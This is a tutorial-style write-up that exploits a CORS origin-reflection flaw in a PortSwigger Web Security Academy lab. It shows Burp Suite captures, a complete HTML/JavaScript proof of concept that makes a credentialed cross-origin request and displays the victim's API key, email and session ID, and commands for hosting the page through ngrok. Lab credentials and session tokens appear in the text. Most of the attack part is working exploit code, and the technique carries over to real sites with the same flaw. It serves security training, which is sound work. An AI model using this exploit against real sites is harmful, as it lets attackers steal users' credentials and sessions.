Exploiting CORS Misconfigurations
Introduction
During a recent security assessment, I discovered a CORS (Cross-Origin Resource Sharing) misconfiguration that allowed complete bypass of the Same-Origin Policy. This vulnerability enabled an attacker to steal sensitive user information including API keys, email addresses, and session tokens from authenticated users.
In this guide, I’ll walk you through the complete exploitation process using PortSwigger’s Web Security Academy lab as a practical example.
Lab: CORS vulnerability with basic origin reflection
Table of Contents
- Understanding CORS
- Discovery with Burp Suite
- Identifying the Vulnerability
- Building the Exploit
- Testing
Understanding CORS
What is CORS?
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how web pages from one origin can access resources from another origin. By default, browsers enforce the Same-Origin Policy (SOP), which blocks cross-origin requests.
Example scenario: Website A: https://legitimate-site.com Website B: https://attacker-site.com Without CORS, if a user visits Website B, JavaScript on that page cannot read data from Website A (blocked by Same-Origin Policy). With CORS misconfiguration, Website B can bypass this protection.
How CORS Works
When JavaScript makes a cross-origin request:
fetch('https://api.example.com/user/data', {
credentials: 'include' // Send cookies
})
The server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: true
The browser checks:
Does Access-Control-Allow-Origin match the requesting origin? If yes, allow JavaScript to read the response If no, block access
The Vulnerability
A CORS misconfiguration occurs when the server dynamically reflects the Origin header:
Request:
Origin: https://evil.com
Response:
Access-Control-Allow-Origin: https://evil.com ← REFLECTED!
Access-Control-Allow-Credentials: true ← ALLOWS COOKIES!
This combination is critical because:
- Any origin becomes “trusted”
- Authenticated requests are possible (cookies sent)
- Private data can be read by attacker’s JavaScript
Discovery with Burp Suite
For this walkthrough, I’ll use PortSwigger’s Web Security Academy https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack - as the lab only request to upload the PoC onto their server I have decided to dig deeper to understand better the exploitation mechanism behind it. And I proved that this worked also on ngrok instances.
Step 1: Configure Burp Suite
Start Burp Suite and ensure Proxy is listening on 127.0.0.1:8080 Configure your browser to use Burp as proxy Turn off Intercept (Proxy → Intercept → Intercept is off)
Step 2: Capture Normal Traffic
Navigate to the lab and click “My account” Log in with the provided credentials Access your account page - you should see your API key displayed Switch to Burp Suite → Proxy → HTTP history
Step 3: Identify the API Endpoint
Look through the HTTP history for AJAX requests. You’ll find:
ET /accountDetails HTTP/2
Host: 0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net
Cookie: session=WRBRHjZi4XECoH7sK8975BtpftkGyU3u
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Response:
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
{
"username": "wiener",
"email": "",
"apikey": "jwgIRSHi8lyHdGx2IpEL0ObfpUJXsYPY",
"sessions": [
"WRBRHjZi4XECoH7sK8975BtpftkGyU3u"
]
}
Identifying the Vulnerability
Step 4: Send to Repeater
- Right-click on the /accountDetails request
- Select “Send to Repeater”
- Navigate to the Repeater tab
Step 5: Add Origin Header
In Repeater, add an Origin header with a test domain:

GET /accountDetails HTTP/2
Host: 0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net
Cookie: session=eNilmrP9HTjaCRjcZ1ClkiCDV3xlQoyk
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://arabinosic-edra-overplainly.ngrok-free.dev
Referer: https://arabinosic-edra-overplainly.ngrok-free.dev/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Click “Send”
Step 6: Analyze the Response
HTTP/2 200 OK
Access-Control-Allow-Origin: https://arabinosic-edra-overplainly.ngrok-free.dev
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 189
{
"username": "wiener",
"email": "",
"apikey": "jwgIRSHi8lyHdGx2IpEL0ObfpUJXsYPY",
"sessions": [
"rzTUoGayHd1jzNCFXxcol8ysy83pL0c9",
"eNilmrP9HTjaCRjcZ1ClkiCDV3xlQoyk"
]
}
The vulnerability is confirmed!!!
Building the exploit!
Understanding the Attack Flow
- Victim is logged into target.web-security-academy.net ↓
- Victim visits attacker’s website (evil-site.com) ↓
- Attacker’s JavaScript executes in victim’s browser ↓
- JavaScript makes request to target.web-security-academy.net ↓
- Browser automatically sends victim’s session cookie ↓
- Server returns victim’s private data + CORS headers ↓
- Attacker’s JavaScript reads the response (CORS allows it) ↓
- Data is exfiltrated to attacker’s server ↓
- Attacker has stolen: API key, session, email, etc.
Step 7: Create basic exploit
Create a file poc_cors.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CORS Exploit - PortSwigger Lab</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 900px;
margin: 50px auto;
padding: 20px;
background: #f5f5f5;
}
.container {
background: white;
padding: 30px;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 { color: #d9534f; }
.status {
font-size: 20px;
font-weight: bold;
margin: 20px 0;
padding: 15px;
border-radius: 5px;
}
.success {
background: #dff0d8;
color: #3c763d;
border: 1px solid #d6e9c6;
}
.error {
background: #f2dede;
color: #a94442;
border: 1px solid #ebccd1;
}
.loading {
background: #d9edf7;
color: #31708f;
border: 1px solid #bce8f1;
}
pre {
background: #2d2d2d;
color: #f8f8f2;
padding: 20px;
border-radius: 5px;
overflow: auto;
font-size: 14px;
line-height: 1.6;
}
.highlight {
background: #fff3cd;
padding: 15px;
border-left: 4px solid #ffc107;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>🔓 CORS Vulnerability PoC</h1>
<div id="status" class="status loading">
⏳ Sending malicious cross-origin request...
</div>
<div class="highlight">
<strong>Attack Details:</strong><br>
<strong>Attacker Origin:</strong> <span id="origin"></span><br>
<strong>Target:</strong> https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/accountDetails<br>
<strong>Method:</strong> Authenticated cross-origin GET request
</div>
<h2>📦 Stolen Data:</h2>
<pre id="result">Waiting for response...</pre>
<h2>🔍 Proof of Exploitation:</h2>
<pre id="proof">Checking CORS headers...</pre>
</div>
<script>
// Display attacker's origin
document.getElementById('origin').textContent = window.location.origin;
console.log("🎯 CORS Exploit Started");
console.log("Attacker Origin:", window.location.origin);
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState === XMLHttpRequest.DONE) {
console.log("📡 Response received. Status:", req.status);
if (req.status === 200) {
// SUCCESS!
document.getElementById('status').className = 'status success';
document.getElementById('status').innerHTML =
'✅ <strong>EXPLOIT SUCCESSFUL!</strong> CORS misconfiguration exploited.';
try {
var data = JSON.parse(req.responseText);
// Display stolen data prominently
document.getElementById('result').innerHTML =
'<strong style="color: #d9534f;">🚨 SENSITIVE DATA STOLEN VIA CORS VULNERABILITY:</strong>\n\n' +
'🔑 <strong>API Key:</strong> ' + data.apikey + '\n' +
'👤 <strong>Username:</strong> ' + data.username + '\n' +
'📧 <strong>Email:</strong> ' + (data.email || '(empty)') + '\n' +
'🍪 <strong>Session ID:</strong> ' + data.sessions[0] + '\n\n' +
'<strong>Full JSON Response:</strong>\n' +
JSON.stringify(data, null, 2);
// Show proof of CORS misconfiguration
document.getElementById('proof').innerHTML =
'<strong style="color: #5cb85c;">✅ CORS Misconfiguration Confirmed:</strong>\n\n' +
'The server responded with:\n' +
'• Status: 200 OK\n' +
'• Access-Control-Allow-Origin: ' + window.location.origin + ' (reflected!)\n' +
'• Access-Control-Allow-Credentials: true\n\n' +
'This combination allows ANY origin to:\n' +
'✓ Make authenticated requests\n' +
'✓ Read sensitive response data\n' +
'✓ Steal user information\n\n' +
'<strong>Impact:</strong> Complete bypass of Same-Origin Policy';
console.log("🎉 SUCCESS - API Key stolen:", data.apikey);
console.log("Full stolen data:", data);
// In real attack, this data would be exfiltrated
console.log("📤 In real attack, data would be sent to attacker server");
} catch(e) {
document.getElementById('result').textContent =
'Raw response:\n' + req.responseText;
}
} else if (req.status === 401) {
// Not logged in
document.getElementById('status').className = 'status error';
document.getElementById('status').innerHTML =
'❌ <strong>Authentication Required (401 Unauthorized)</strong>';
document.getElementById('result').innerHTML =
'<strong style="color: #d9534f;">Exploitation Failed - Victim Not Authenticated</strong>\n\n' +
'The target user is not logged into the application.\n\n' +
'<strong>To test this exploit:</strong>\n' +
'1. Open a new tab in the SAME browser\n' +
'2. Go to: https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/login\n' +
'3. Log in with:\n' +
' Username: wiener\n' +
' Password: peter\n' +
'4. Keep that tab open\n' +
'5. Reload THIS page\n\n' +
'The exploit should then succeed.';
document.getElementById('proof').textContent =
'Status Code: 401 Unauthorized\n' +
'Reason: No valid session cookie\n\n' +
'Note: The CORS misconfiguration still exists,\n' +
'but requires an authenticated victim to exploit.';
console.error("❌ 401 Unauthorized - victim not logged in");
} else if (req.status === 0) {
// CORS blocked or network error
document.getElementById('status').className = 'status error';
document.getElementById('status').innerHTML =
'❌ <strong>Request Blocked or Failed</strong>';
document.getElementById('result').innerHTML =
'<strong>Possible Causes:</strong>\n' +
'• Victim not logged in (most likely)\n' +
'• Network connectivity issue\n' +
'• CORS vulnerability has been fixed\n\n' +
'Check the browser console (F12) for more details.';
console.error("❌ Status 0 - Request blocked or failed");
} else {
// Other error
document.getElementById('status').className = 'status error';
document.getElementById('status').innerHTML =
'❌ <strong>Error: ' + req.status + ' ' + req.statusText + '</strong>';
document.getElementById('result').textContent =
'Unexpected error occurred.\n' +
'Status: ' + req.status + '\n' +
'Status Text: ' + req.statusText;
console.error("❌ Error:", req.status, req.statusText);
}
}
};
// Make the malicious request
req.open('GET', 'https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/accountDetails', true);
req.withCredentials = true; // Include cookies
req.send();
console.log("📤 Malicious cross-origin request sent with credentials");
</script>
</body>
</html>
Testing
Step 8: Set Up Local Test Environment
Start a web server:
# Create project directory
mkdir cors-exploit-demo
cd cors-exploit-demo
# Save the exploit as cors_exploit.html
# Start Python web server
python3 -m http.server 8000
# In a new terminal, start ngrok
ngrok http 8000
Ngrok will provide you with a public URL like: (Ctrl+C to quit)
🐋 Create instant endpoints for local containers within Docker Desktop → https://ngrok.com/r/docker
Session Status online
Account example@gmail.com (Plan: Free)
Version 3.30.0
Region Europe (eu)
Latency 39ms
Web Interface http://127.0.0.1:4040
Forwarding https://arabinosic-edra-overplainly.ngrok-free.dev -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Step 9: Test the Exploit
Important: Use a fresh incognito/private window to avoid cookie conflicts! Terminal setup:
Terminal 1: Python server running on port 8000
Browser: Incognito window with 2 tabs
Tab 1 - Log into the lab:
1. Open: https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/login
2. Login: wiener / peter
3. Verify you see "Your email is..."
4. Keep this tab open!
Tab 2 - Run the exploit (same incognito window):
1. Open: https://whatever-edra-overplainly.ngrok-free.dev/poc_cors.html
2. Watch the exploit execute
3. See the stolen data displayed
